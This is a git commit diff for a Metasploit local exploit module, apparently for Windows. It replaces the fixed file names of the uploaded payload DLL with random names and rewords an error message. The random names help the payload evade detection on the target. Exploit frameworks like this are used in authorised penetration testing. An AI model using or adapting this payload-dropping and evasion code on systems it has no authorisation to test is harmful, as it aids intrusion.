A little randomness
parent
eea6ccee1f
commit
b7b3ae4d2a
|
@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def upload_payload
|
||||
payload_filepath = "#{temp}\\msf_payload.dll"
|
||||
payload_filepath = "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
|
||||
|
||||
# Save the payload DLL's file path so the exploit can find it
|
||||
set_filepath_env(payload_filepath)
|
||||
|
@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
# Upload the payload
|
||||
upload_payload_dll(payload_filepath)
|
||||
if !file?(payload_filepath)
|
||||
fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
|
||||
fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
session.core.load_library(
|
||||
'LibraryFilePath' => lib_file_path,
|
||||
'TargetFilePath' => "#{temp}\\ntapphelpcachecontrol.dll",
|
||||
'TargetFilePath' => "#{temp}\\#{Rex::Text.rand_text_alpha(5)}.dll",
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => false,
|
||||
'SaveToDisk' => false
|
||||
|
|
Loading…
Reference in New Issue